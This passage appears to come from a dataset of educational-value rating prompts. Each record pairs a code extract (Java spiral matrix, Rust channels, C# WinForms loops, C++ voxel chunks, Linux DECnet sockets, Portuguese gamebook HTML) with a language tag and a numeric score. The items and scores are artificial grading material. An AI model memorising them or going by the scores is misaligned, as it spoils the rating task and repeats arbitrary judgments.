int[][] matrix1 = {{1, 2, 3}, {4, 5, 6}, {7, 8, 9}};
int[][] matrix2 = {{1, 2, 3, 4}, {5, 6, 7, 8}, {9, 10, 11, 12}};
int[][] matrix3 = {{1, 2, 3}};
System.out.println(l054.new Solution().spiralOrder(matrix1));
System.out.println(l054.new Solution().spiralOrder(matrix2));
System.out.println(l054.new Solution().spiralOrder(matrix3));
}
class Solution {
/**
* 模拟螺旋过程，碰壁之后转向
*
* @param matrix
* @return
*/
public List<Integer> spiralOrder(int[][] matrix) {
if (matrix.length == 0 || matrix[0].length == 0) {
return Collections.emptyList();
}
int rows = matrix.length;
int cols = matrix[0].length;
List<Integer> retList = new ArrayList<Integer>();
int direction = 0; // →:0,↓:1,←:2,↑:3
boolean[][] flagMatrix = new boolean[matrix.length][matrix[0].length];
int x = 0;
int y = 0;
loop:
while (true) {
retList.add(matrix[x][y]);
flagMatrix[x][y] = true;
switch (direction) {
case 0:
if (y + 1 == cols || flagMatrix[x][y + 1]) {
if (x + 1 == rows || flagMatrix[x + 1][y]) {
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
java
| 3 |
package com.zm.LeetCodeEx.algorithms.ex1_100;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
/**
* 54. 螺旋矩阵
* <p>
* 给定一个包含 m x n 个元素的矩阵（m 行, n 列），请按照顺时针螺旋顺序，返回矩阵中的所有元素。
* <p>
* 示例 1:
* <p>
* <p>
* 输入:
* <p>
* [<br>
* [ 1, 2, 3 ],<br>
* [ 4, 5, 6 ],<br>
* [ 7, 8, 9 ]<br>
* ]<br>
* 输出: [1,2,3,6,9,8,7,4,5]
* <p>
* 示例 2:
* <p>
* 输入: [<br>
* [1, 2, 3, 4],<br>
* [5, 6, 7, 8],<br>
* [9,10,11,12]<br>
* ]<br>
* 输出: [1,2,3,4,8,12,11,10,9,5,6,7]
*
* @author zm
*/
public class LEET054 {
public static void main(String[] args) {
LEET054 l054 = new LEET054();
int[][] matrix1 = {{1, 2, 3}, {4, 5, 6}, {7, 8, 9}};
int[][] matrix2 = {{1, 2, 3, 4}, {5, 6, 7, 8}, {9, 10, 11, 12}};
int[][] matrix3 = {{1, 2, 3}};
System.out.println(l054.new Solution().spiralOrder(matrix1));
System.out.println(l054.new Solution().spiralOrder(matrix2));
System.out.println(l054.new Solution().spiralOrder(matrix3));
}
class Solution {
/**
* 模拟螺旋过程，碰壁之后转向
*
* @param matrix
* @return
*/
public List<Integer> spiralOrder(int[][] matrix) {
if (matrix.length == 0 || matrix[0].length == 0) {
return Collections.emptyList();
}
int rows = matrix.length;
int cols = matrix[0].length;
List<Integer> retList = new ArrayList<Integer>();
int direction = 0; // →:0,↓:1,←:2,↑:3
boolean[][] flagMatrix = new boolean[matrix.length][matrix[0].length];
int x = 0;
int y = 0;
loop:
while (true) {
retList.add(matrix[x][y]);
flagMatrix[x][y] = true;
switch (direction) {
case 0:
if (y + 1 == cols || flagMatrix[x][y + 1]) {
if (x + 1 == rows || flagMatrix[x + 1][y]) {
break loop;
}
x++;
direction = 1;
} else {
y++;
}
break;
case 1:
if (x + 1 == rows || flagMatrix[x + 1][y]) {
if (y - 1 == -1 || flagMatrix[x][y - 1]) {
break loop;
}
y--;
direction = 2;
} else {
x++;
}
break;
case 2:
if (y - 1 == -1 || flagMatrix[x][y - 1]) {
if (x - 1 == -1 || flagMatrix[x - 1][y]) {
break loop;
}
x--;
direction = 3;
} else {
y--;
}
break;
case 3:
if (x - 1 == -1 || flagMatrix[x - 1][y]) {
if (y + 1 == cols || flagMatrix[x][y + 1]) {
break loop;
} else {
y++;
}
direction = 0;
} else {
x--;
}
break;
default:
break;
}
}
return retList;
}
}
class Solution2 {
/**
* 官方题解，避免了switch-case，并且使用for循环直接控制次数，不需要上面的方法中需要两次碰壁之后break
*
* @param matrix
* @return
*/
public List<Integer> spiralOrder2(int[][] matrix) {
if (matrix.length == 0 || matrix[0].length == 0) {
return Collections.emptyList();
}
List<Integer> ans = new ArrayList<Integer>();
int R = matrix.length, C = matrix[0].length;
boolean[][] seen = new boolean[R][C];
int[] dr = {0, 1, 0, -1};
int[] dc = {1, 0, -1, 0};
int r = 0, c = 0, di = 0;
for (int i = 0; i < R * C; i++) {
ans.add(matrix[r][c]);
seen[r][c] = true;
int cr = r + dr[di];
int cc = c + dc[di];
if (0 <= cr && cr < R && 0 <= cc && cc < C && !seen[cr][cc]) {
r = cr;
c = cc;
} else {
di = (di + 1) % 4;
r += dr[di];
c += dc[di];
}
}
return ans;
}
}
class Solution3 {
public int[] spiralOrder(int[][] matrix) {
if (matrix == null || matrix.length == 0 || matrix[0].length == 0) {
return new int[0];
}
int rows = matrix.length, columns = matrix[0].length;
int[] order = new int[rows * columns];
int index = 0;
int left = 0, right = columns - 1, top = 0, bottom = rows - 1;
while (left <= right && top <= bottom) {
for (int column = left; column <= right; column++) {
order[index++] = matrix[top][column];
}
for (int row = top + 1; row <= bottom; row++) {
order[index++] = matrix[row][right];
}
if (left < right && top < bottom) {
for (int column = right - 1; column > left; column--) {
order[index++] = matrix[bottom][column];
}
for (int row = bottom; row > top; row--) {
order[index++] = matrix[row][left];
}
}
left++;
right--;
top++;
bottom--;
}
return order;
}
}
}
|
Below is an extract from a Rust program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Rust code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Rust concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., ownership, lifetimes). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Rust. It should be similar to a school exercise, a tutorial, or a Rust course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Rust. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
#[macro_use]
extern crate chan;
use std::thread;
use chan::{Receiver, Sender};
fn fibonacci(c: Sender<u64>, quit: Receiver<()>) {
let (mut x, mut y) = (0, 1);
loop {
chan_select! {
c.send(x) => {
let oldx = x;
x = y;
y = oldx + y;
},
quit.recv() => {
println!("quit");
return;
}
}
}
}
fn main() {
let (csend, crecv) = chan::sync(0);
let (qsend, qrecv) = chan::sync(0);
thread::spawn(move || {
for _ in 0..10 {
println!("{}", crecv.recv().unwrap());
}
qsend.send(());
});
fibonacci(csend, qrecv);
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
rust
| 2 |
#[macro_use]
extern crate chan;
use std::thread;
use chan::{Receiver, Sender};
fn fibonacci(c: Sender<u64>, quit: Receiver<()>) {
let (mut x, mut y) = (0, 1);
loop {
chan_select! {
c.send(x) => {
let oldx = x;
x = y;
y = oldx + y;
},
quit.recv() => {
println!("quit");
return;
}
}
}
}
fn main() {
let (csend, crecv) = chan::sync(0);
let (qsend, qrecv) = chan::sync(0);
thread::spawn(move || {
for _ in 0..10 {
println!("{}", crecv.recv().unwrap());
}
qsend.send(());
});
fibonacci(csend, qrecv);
}
|
Below is an extract from a C# program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
Add 1 point if the program contains valid C# code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
Add another point if the program addresses practical C# concepts, even if it lacks comments.
Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., LINQ, reflection). The code should be well-structured and contain some comments.
Give a fourth point if the program is self-contained and highly relevant to teaching C#. It should be similar to a school exercise, a tutorial, or a C# course section.
Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C#. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace ComputerScience20S
{
public partial class frmLoopingExample2 : Form
{
// Global variables and constants...
int width = 0;
int height = 0;
// This constant will act as a 'gap' between what we will be
// using this program to do: drawing circles on the screen
// (and anything else drawn/moving on the screen) to fill up
// the screen. This is measured in "pixels"
const int SPACER = 5;
public frmLoopingExample2()
{
InitializeComponent();
}
private void btnExit_Click(object sender, EventArgs e)
{
// Another way to code an exit button, like:
// Application.Exit();
this.Close();
// or even just "Close();"
// But that line will exit ("close") ONE form, and
// the "Application.Exit();" line closes everything!
}
private void frmExample_Load(object sender, EventArgs e)
{
// When the form first loads up.... We can add code
// here to change the some of the same properties as
// we do using the designer
// REMINDER: to bring up autocomplete (any time)
// press "CTRL + SPACE" if you are having trouble
// with some of the specifics of the coding
// Set the form's background color to black
this.BackColor = Color.Black;
// Set the form to have no border
this.FormBorderStyle = FormBorderStyle.None;
// Set the form to be maximized (full screen)
this.WindowState = FormWindowState.Maximized;
// Get ("retrieve") and remember (in
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
csharp
| 3 |
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace ComputerScience20S
{
public partial class frmLoopingExample2 : Form
{
// Global variables and constants...
int width = 0;
int height = 0;
// This constant will act as a 'gap' between what we will be
// using this program to do: drawing circles on the screen
// (and anything else drawn/moving on the screen) to fill up
// the screen. This is measured in "pixels"
const int SPACER = 5;
public frmLoopingExample2()
{
InitializeComponent();
}
private void btnExit_Click(object sender, EventArgs e)
{
// Another way to code an exit button, like:
// Application.Exit();
this.Close();
// or even just "Close();"
// But that line will exit ("close") ONE form, and
// the "Application.Exit();" line closes everything!
}
private void frmExample_Load(object sender, EventArgs e)
{
// When the form first loads up.... We can add code
// here to change the some of the same properties as
// we do using the designer
// REMINDER: to bring up autocomplete (any time)
// press "CTRL + SPACE" if you are having trouble
// with some of the specifics of the coding
// Set the form's background color to black
this.BackColor = Color.Black;
// Set the form to have no border
this.FormBorderStyle = FormBorderStyle.None;
// Set the form to be maximized (full screen)
this.WindowState = FormWindowState.Maximized;
// Get ("retrieve") and remember (in our global variables)
// the width and height of "this" form (as now the form has
// changed size to fill the screen). The keyword "this"
// refers to "this form"
width = this.Width;
height = this.Height;
// To move (position) objects (like a button, etc.)
// you can use the (x, y) coordinate system like in math
// (geometry) - another way in C# is like this...
// Set the exit button over to the right of the screen
// (based on the global variable values)
btnExit.Left = width - btnExit.Width - SPACER;
btnExit.Top = 0 + SPACER;
// "Left" is the same as "X" coordinate
// "Top" is the same as "Y" coordinate
// Move the run button to match up with the exit button
btnRun.Left = width - btnRun.Width - SPACER;
btnRun.Top = btnExit.Top + btnExit.Height + SPACER;
// Move the up down size selector to match up with the run button
nudSize.Left = width - nudSize.Width - SPACER;
nudSize.Top = btnRun.Top + btnRun.Height + SPACER;
// Set the minimum and maximum of the size of the circles
// (the radius of the circles) to draw
nudSize.Minimum = SPACER;
nudSize.Maximum = height - (SPACER * 2);
}
private void btnRun_Click(object sender, EventArgs e)
{
// This button will ask the user what color to draw the circles
// (the color inside, filling the circle) use a "fancy" dialog
// box (like the MessageBox) then it will fill up the screen drawing
// as many circles as it can based on the size the user choose in the
// numeric up/down
// Show the user a color choosing dialog box
cdbColor.ShowDialog();
// Create a "color variable" (remembers a color) for the chooser
Color color = cdbColor.Color;
// Create a surface to draw on (we are working with other
// people's code to do a lot of the graphics drawing)
Graphics surface = this.CreateGraphics();
// "this" again means "this form"
// Clear (wipe) the surface to a color to draw on
surface.Clear(Color.Black);
// Create a "pen" to draw the outside (line) of a circle
Pen pen = new Pen(Color.White, 1);
// Create a "brush" to fill in the circle with color
Brush brush = new SolidBrush(color);
// Make a variable for the size of the circles
int size = (int)nudSize.Value;
// Make a variable for how far apart the circles are
int move = size + SPACER;
// Make a variable for the max number of circles we can
// draw going down ("Y" axis)
int maxY = height - size - SPACER;
// Make a variable for the max number of circles we can
// draw going across ("X" axis)
int maxX = width - size - SPACER;
// NOW, the actual content of this uint, the "for" loop...
// The "for" loop has three parts:
// what to START at
// what to STOP at
// what to CHANGE by
// Uses round and curley brackets (like the while loop)
// Uses two ";" semi-colons
// Visual Studio can help write a for loop by doing this:
// Type "for"
// Press the "TAB" key twice
// Use the "for" loop to repeatitively draw circles
for (int y = SPACER; y <= maxY; y = y + move)
{
// "Nest" a loop inside our loop
for (int x = SPACER; x <= maxX; x = x + move)
{
// Now draw the inside of the circle (fill)
surface.FillEllipse(brush, x, y, size, size);
// Now draw the outside (line) of the circle
surface.DrawEllipse(pen, x, y, size, size);
}
}
}
}
}
|
Below is an extract from a C++ program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C++ code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C++ concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., memory management). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C++. It should be similar to a school exercise, a tutorial, or a C++ course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C++. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
#pragma once
#include "block.h"
#include <vector>
#include <cstring>
#include <glm/vec3.hpp>
#include "renderer.h"
#include <set>
#include <FastNoiseSIMD.h>
constexpr int CHUNK_SIZE = 16;
constexpr int CHUNK_HEIGHT = 256;
class Chunk
{
public:
Block *getBlock(int x, int y, int z)
{
return &blocks[x][z][y];
}
void clearBlockData()
{
memset(blocks, 0, sizeof(blocks));
}
void calculateFaces();
glm::ivec2 &getChunkPosition()
{
return position;
}
glm::ivec2 &getChunkPositionx16()
{
return glm::ivec2(position) * glm::ivec2(16, 16);
}
void sortTransparentFaces(glm::vec3 playerPos);
friend class ChunksRenderer;
friend class ChunkManager;
protected:
void updateNeighbours();
void removeReferenceToNeighbours(); //todo rename mabe
std::vector<glm::ivec3> positions[6];
std::vector<uint8_t> ao[6];
std::vector<glm::ivec2> UVs[6];
std::vector<glm::ivec3> transparentPositions[6];
std::vector<glm::ivec2> transparentUVs[6];
Block blocks[CHUNK_SIZE][CHUNK_SIZE][CHUNK_HEIGHT];
glm::ivec2 position;
Chunk *chunkInFront = 0;
Chunk *chunkInBack = 0;
Chunk *chunkAtLeft = 0;
Chunk *chunkAtRight = 0;
};
class ChunkManager
{
public:
ChunkManager();
void setGridSize(int size, glm::ivec2 playerPos);
void setPlayerPos(glm::vec2 playerPos);
friend class ChunksRenderer;
//this defines the rect in which the chunk manager is loaded
glm::ivec2 bottomCorner;
glm::ivec2 topCorner;
bool rayCast(glm::ivec3 &pos, glm::ivec3 &lastPos, glm::vec3 start, glm::vec3 direction, float maxRaySize = 10);
Block *getBlockRaw(glm::ivec3 pos, Chunk **c = nullptr);
//rename todo
glm::ivec2 getPlayerInChunk(glm::vec2 playerPos);
glm::ivec2 getPlayerInChunk(glm::vec3 playerPos)
{
return getPlayerInChunk({ playerPos.x, playerPos.z });
}
bool placeBlock(glm::ivec3 pos, Block b, glm::vec3 playerPos);
Chunk *getChunk(glm::ivec2 pos);
private:
glm::ivec2 computeBottomCorner(glm::vec2 playerPos, int size);
glm::ivec2 computeTopCorner(glm
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
cpp
| 2 |
#pragma once
#include "block.h"
#include <vector>
#include <cstring>
#include <glm/vec3.hpp>
#include "renderer.h"
#include <set>
#include <FastNoiseSIMD.h>
constexpr int CHUNK_SIZE = 16;
constexpr int CHUNK_HEIGHT = 256;
class Chunk
{
public:
Block *getBlock(int x, int y, int z)
{
return &blocks[x][z][y];
}
void clearBlockData()
{
memset(blocks, 0, sizeof(blocks));
}
void calculateFaces();
glm::ivec2 &getChunkPosition()
{
return position;
}
glm::ivec2 &getChunkPositionx16()
{
return glm::ivec2(position) * glm::ivec2(16, 16);
}
void sortTransparentFaces(glm::vec3 playerPos);
friend class ChunksRenderer;
friend class ChunkManager;
protected:
void updateNeighbours();
void removeReferenceToNeighbours(); //todo rename mabe
std::vector<glm::ivec3> positions[6];
std::vector<uint8_t> ao[6];
std::vector<glm::ivec2> UVs[6];
std::vector<glm::ivec3> transparentPositions[6];
std::vector<glm::ivec2> transparentUVs[6];
Block blocks[CHUNK_SIZE][CHUNK_SIZE][CHUNK_HEIGHT];
glm::ivec2 position;
Chunk *chunkInFront = 0;
Chunk *chunkInBack = 0;
Chunk *chunkAtLeft = 0;
Chunk *chunkAtRight = 0;
};
class ChunkManager
{
public:
ChunkManager();
void setGridSize(int size, glm::ivec2 playerPos);
void setPlayerPos(glm::vec2 playerPos);
friend class ChunksRenderer;
//this defines the rect in which the chunk manager is loaded
glm::ivec2 bottomCorner;
glm::ivec2 topCorner;
bool rayCast(glm::ivec3 &pos, glm::ivec3 &lastPos, glm::vec3 start, glm::vec3 direction, float maxRaySize = 10);
Block *getBlockRaw(glm::ivec3 pos, Chunk **c = nullptr);
//rename todo
glm::ivec2 getPlayerInChunk(glm::vec2 playerPos);
glm::ivec2 getPlayerInChunk(glm::vec3 playerPos)
{
return getPlayerInChunk({ playerPos.x, playerPos.z });
}
bool placeBlock(glm::ivec3 pos, Block b, glm::vec3 playerPos);
Chunk *getChunk(glm::ivec2 pos);
private:
glm::ivec2 computeBottomCorner(glm::vec2 playerPos, int size);
glm::ivec2 computeTopCorner(glm::vec2 playerPos, int size);
void setNeighbours(std::set<int> &newCreatedChunks, std::set<int> &chunksToRecalculate);
//this is a grid size x size
int gridSize;
std::vector< Chunk * > loadedChunks;
glm::ivec2 playerPos;
FastNoiseSIMD *heightNoise = FastNoiseSIMD::NewFastNoiseSIMD();
void generateChunk(Chunk &c);
};
|
Below is an extract from a C program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., kernel development and compiler design). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C. It should be similar to a school exercise, a tutorial, or a C course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
#define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
typedef struct TYPE_6__ TYPE_3__ ;
typedef struct TYPE_5__ TYPE_2__ ;
typedef struct TYPE_4__ TYPE_1__ ;
/* Type definitions */
struct socket {int /*<<< orphan*/ * ops; } ;
struct sock {int sk_no_check; int /*<<< orphan*/ sk_rcvbuf; int /*<<< orphan*/ sk_sndbuf; int /*<<< orphan*/ sk_allocation; scalar_t__ sk_protocol; int /*<<< orphan*/ sk_family; int /*<<< orphan*/ sk_destruct; int /*<<< orphan*/ sk_backlog_rcv; } ;
struct net {int dummy; } ;
struct TYPE_6__ {int acc_accl; int /*<<< orphan*/ acc_acc; } ;
struct TYPE_5__ {void* sdn_family; } ;
struct TYPE_4__ {void* sdn_family; } ;
struct dn_scp {int numdat; int numoth; int flowrem_oth; int flowloc_oth; int services_loc; int info_loc; int multi_ireq; int keepalive; int /*<<< orphan*/ delack_fxn; scalar_t__ delack_pending; int /*<<< orphan*/ delack_timer; int /*<<< orphan*/ keepalive_fxn; int /*<<< orphan*/ * persist_fxn; scalar_t__ persist; int /*<<< orphan*/ other_receive_queue; int /*<<< orphan*/ other_xmit_queue; int /*<<< orphan*/ data_xmit_queue; scalar_t__ nsp_rxtshift; int /*<<< orphan*/ nsp_rttvar; int /*<<< orphan*/ nsp_srtt; int /*<<< orphan*/ snd_window; int /*<<< orphan*/ max_window; TYPE_3__ accessdata; TYPE_2__ peer; TYPE_1__ addr; int /*<<< orphan*/ accept_mode; scalar_t__ nonagle; scalar_t__ segsize_rem; scalar_t__ info_rem; scalar_t__ services_rem; scalar_t__ flowloc_dat; scalar_t__ flowrem_dat; void* flowloc_sw; void* flowrem_sw; scalar_t__ ackrcv_oth; scalar_t__ ackrcv_dat; scalar_t__ ackxmt_oth; scalar_t__ ackxmt_dat; int /*<<< orphan*/ state; } ;
typedef int /*<<< orphan*/ gfp_t ;
/* Variables and functions */
int /*<<< orphan*/ ACC
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
c
| 1 |
#define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
typedef struct TYPE_6__ TYPE_3__ ;
typedef struct TYPE_5__ TYPE_2__ ;
typedef struct TYPE_4__ TYPE_1__ ;
/* Type definitions */
struct socket {int /*<<< orphan*/ * ops; } ;
struct sock {int sk_no_check; int /*<<< orphan*/ sk_rcvbuf; int /*<<< orphan*/ sk_sndbuf; int /*<<< orphan*/ sk_allocation; scalar_t__ sk_protocol; int /*<<< orphan*/ sk_family; int /*<<< orphan*/ sk_destruct; int /*<<< orphan*/ sk_backlog_rcv; } ;
struct net {int dummy; } ;
struct TYPE_6__ {int acc_accl; int /*<<< orphan*/ acc_acc; } ;
struct TYPE_5__ {void* sdn_family; } ;
struct TYPE_4__ {void* sdn_family; } ;
struct dn_scp {int numdat; int numoth; int flowrem_oth; int flowloc_oth; int services_loc; int info_loc; int multi_ireq; int keepalive; int /*<<< orphan*/ delack_fxn; scalar_t__ delack_pending; int /*<<< orphan*/ delack_timer; int /*<<< orphan*/ keepalive_fxn; int /*<<< orphan*/ * persist_fxn; scalar_t__ persist; int /*<<< orphan*/ other_receive_queue; int /*<<< orphan*/ other_xmit_queue; int /*<<< orphan*/ data_xmit_queue; scalar_t__ nsp_rxtshift; int /*<<< orphan*/ nsp_rttvar; int /*<<< orphan*/ nsp_srtt; int /*<<< orphan*/ snd_window; int /*<<< orphan*/ max_window; TYPE_3__ accessdata; TYPE_2__ peer; TYPE_1__ addr; int /*<<< orphan*/ accept_mode; scalar_t__ nonagle; scalar_t__ segsize_rem; scalar_t__ info_rem; scalar_t__ services_rem; scalar_t__ flowloc_dat; scalar_t__ flowrem_dat; void* flowloc_sw; void* flowrem_sw; scalar_t__ ackrcv_oth; scalar_t__ ackrcv_dat; scalar_t__ ackxmt_oth; scalar_t__ ackxmt_dat; int /*<<< orphan*/ state; } ;
typedef int /*<<< orphan*/ gfp_t ;
/* Variables and functions */
int /*<<< orphan*/ ACC_IMMED ;
void* AF_DECnet ;
scalar_t__ DN_MAX_NSP_DATA_HEADER ;
int /*<<< orphan*/ DN_O ;
void* DN_SEND ;
struct dn_scp* DN_SK (struct sock*) ;
int HZ ;
int NSP_FC_NONE ;
int /*<<< orphan*/ NSP_INITIAL_RTTVAR ;
int /*<<< orphan*/ NSP_INITIAL_SRTT ;
int /*<<< orphan*/ NSP_MAX_WINDOW ;
int /*<<< orphan*/ NSP_MIN_WINDOW ;
int /*<<< orphan*/ PF_DECnet ;
int /*<<< orphan*/ dn_destruct ;
int /*<<< orphan*/ dn_keepalive ;
int /*<<< orphan*/ dn_nsp_backlog_rcv ;
int /*<<< orphan*/ dn_nsp_delayed_ack ;
int /*<<< orphan*/ dn_proto ;
int /*<<< orphan*/ dn_proto_ops ;
int /*<<< orphan*/ dn_start_slow_timer (struct sock*) ;
int /*<<< orphan*/ init_timer (int /*<<< orphan*/ *) ;
int /*<<< orphan*/ memcpy (int /*<<< orphan*/ ,char*,int) ;
struct sock* sk_alloc (struct net*,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ *) ;
int /*<<< orphan*/ skb_queue_head_init (int /*<<< orphan*/ *) ;
int /*<<< orphan*/ sock_init_data (struct socket*,struct sock*) ;
int /*<<< orphan*/ * sysctl_decnet_rmem ;
int /*<<< orphan*/ * sysctl_decnet_wmem ;
__attribute__((used)) static struct sock *dn_alloc_sock(struct net *net, struct socket *sock, gfp_t gfp)
{
struct dn_scp *scp;
struct sock *sk = sk_alloc(net, PF_DECnet, gfp, &dn_proto);
if (!sk)
goto out;
if (sock)
sock->ops = &dn_proto_ops;
sock_init_data(sock, sk);
sk->sk_backlog_rcv = dn_nsp_backlog_rcv;
sk->sk_destruct = dn_destruct;
sk->sk_no_check = 1;
sk->sk_family = PF_DECnet;
sk->sk_protocol = 0;
sk->sk_allocation = gfp;
sk->sk_sndbuf = sysctl_decnet_wmem[1];
sk->sk_rcvbuf = sysctl_decnet_rmem[1];
/* Initialization of DECnet Session Control Port */
scp = DN_SK(sk);
scp->state = DN_O; /* Open */
scp->numdat = 1; /* Next data seg to tx */
scp->numoth = 1; /* Next oth data to tx */
scp->ackxmt_dat = 0; /* Last data seg ack'ed */
scp->ackxmt_oth = 0; /* Last oth data ack'ed */
scp->ackrcv_dat = 0; /* Highest data ack recv*/
scp->ackrcv_oth = 0; /* Last oth data ack rec*/
scp->flowrem_sw = DN_SEND;
scp->flowloc_sw = DN_SEND;
scp->flowrem_dat = 0;
scp->flowrem_oth = 1;
scp->flowloc_dat = 0;
scp->flowloc_oth = 1;
scp->services_rem = 0;
scp->services_loc = 1 | NSP_FC_NONE;
scp->info_rem = 0;
scp->info_loc = 0x03; /* NSP version 4.1 */
scp->segsize_rem = 230 - DN_MAX_NSP_DATA_HEADER; /* Default: Updated by remote segsize */
scp->nonagle = 0;
scp->multi_ireq = 1;
scp->accept_mode = ACC_IMMED;
scp->addr.sdn_family = AF_DECnet;
scp->peer.sdn_family = AF_DECnet;
scp->accessdata.acc_accl = 5;
memcpy(scp->accessdata.acc_acc, "LINUX", 5);
scp->max_window = NSP_MAX_WINDOW;
scp->snd_window = NSP_MIN_WINDOW;
scp->nsp_srtt = NSP_INITIAL_SRTT;
scp->nsp_rttvar = NSP_INITIAL_RTTVAR;
scp->nsp_rxtshift = 0;
skb_queue_head_init(&scp->data_xmit_queue);
skb_queue_head_init(&scp->other_xmit_queue);
skb_queue_head_init(&scp->other_receive_queue);
scp->persist = 0;
scp->persist_fxn = NULL;
scp->keepalive = 10 * HZ;
scp->keepalive_fxn = dn_keepalive;
init_timer(&scp->delack_timer);
scp->delack_pending = 0;
scp->delack_fxn = dn_nsp_delayed_ack;
dn_start_slow_timer(sk);
out:
return sk;
}
|
Below is an extract from an HTML document. Evaluate whether it has a high educational value and could help teach web development. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the document contains valid HTML markup, even if it's not educational, like boilerplate code or standard tags.
- Add another point if the document addresses practical HTML concepts and uses semantic elements appropriately.
- Award a third point if the document is suitable for educational use and introduces key web concepts, even if the topic is somewhat advanced (e.g., forms, metadata). The code should be well-structured and use clear, descriptive naming.
- Give a fourth point if the document is self-contained and highly relevant to teaching HTML. It should be similar to a school exercise, a tutorial, or an HTML course section for early learners.
- Grant a fifth point if the document is outstanding in its educational value and is perfectly suited for teaching HTML to beginners. It should be well-organized, easy to understand, and ideally include some explanatory comments or demonstrate best practices in HTML structure.
The extract:
<!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- Compiled and minified CSS -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
<link rel="stylesheet" href="./css/style.css">
<title>Prova dos Campeões</title>
</head>
<body>
<div class="container">
<h2 class="title">72</h2>
<section>
<p>
O Mestre de Provas permanece em silêncio por um momento e então diz lentamente: “Você
não passou no teste. Vai se tornar agora meu servo para substituir o homem das cavernas na
futura competição de cabo-de-guerra.” Você sabe que é impossível sobrepujar o poder mágico
do Mestre de Provas e se resigna a uma vida de servidão. Contudo, talvez um dia você tenha
sua vingança contra Lord Carnuss...
</p>
</section>
<div>
<h3 class="subtitle">Ações disponíveis</h3>
<div class="center" id="div-actions">
<button id='action-end-game'></button>
</div>
</div>
<footer>
<hr />
<br />
</footer>
</div>
<!-- Compiled and minified JavaScript -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
<script defer src="./js/app.js"></script>
</body>
</html>
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
html
| 2 |
<!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- Compiled and minified CSS -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
<link rel="stylesheet" href="./css/style.css">
<title>Prova dos Campeões</title>
</head>
<body>
<div class="container">
<h2 class="title">72</h2>
<section>
<p>
O Mestre de Provas permanece em silêncio por um momento e então diz lentamente: “Você
não passou no teste. Vai se tornar agora meu servo para substituir o homem das cavernas na
futura competição de cabo-de-guerra.” Você sabe que é impossível sobrepujar o poder mágico
do Mestre de Provas e se resigna a uma vida de servidão. Contudo, talvez um dia você tenha
